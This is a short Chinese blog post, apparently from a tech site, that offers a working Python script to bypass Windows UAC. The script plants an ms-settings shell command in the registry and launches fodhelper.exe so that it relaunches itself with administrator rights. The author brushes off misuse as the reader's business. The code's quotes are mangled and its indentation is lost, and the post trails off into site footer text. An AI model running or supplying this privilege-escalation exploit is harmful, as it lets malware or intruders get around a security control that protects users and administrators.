很多時(shí)候我們不希望我們的軟件彈出UAC提示,這個(gè)時(shí)候我們可以通過(guò)注冊(cè)表的方法去解決。這其實(shí)已經(jīng)不在是一個(gè)安全的編程了,它變成了一把雙刃劍。
當(dāng)然我們只是討論這種問(wèn)題該怎么解決。具體用在什么方面那是你的問(wèn)題咯!
通過(guò)下面的代碼我們可以輕松繞過(guò)UAC:
# -*- coding: utf-8 -*-
“”“
Created on Mon Jan 8 09:09:51 2018
”“”
from __future__ import print_function
import os
import sys
import ctypes
if sys.version_info[0] == 3:
import winreg as winreg
else:
import _winreg as winreg
CMD = r“C:\Windows\System32\cmd.exe”
FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’
PYTHON_CMD = “python”
REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’
DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’
def is_admin():
‘’‘
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
’‘’
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
‘’‘
Creates a reg key
’‘’
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
‘’‘
Tries to bypass the UAC
’‘’
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_admin():
print(‘[?。?The script is NOT running with administrative privileges’)
print(‘[+] Trying to bypass the UAC’)
try:
current_dir = __file__
cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
#這里添加我們需要管理員權(quán)限的代碼
print(‘[+] The script is running with administrative privileges!’)
if __name__ == ‘__main__’:
execute()
---------------------
其實(shí)我們這個(gè)代碼這里主要是往注冊(cè)表中添加了這兩項(xiàng)
-
python
+關(guān)注
關(guān)注
55文章
4768瀏覽量
84378
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論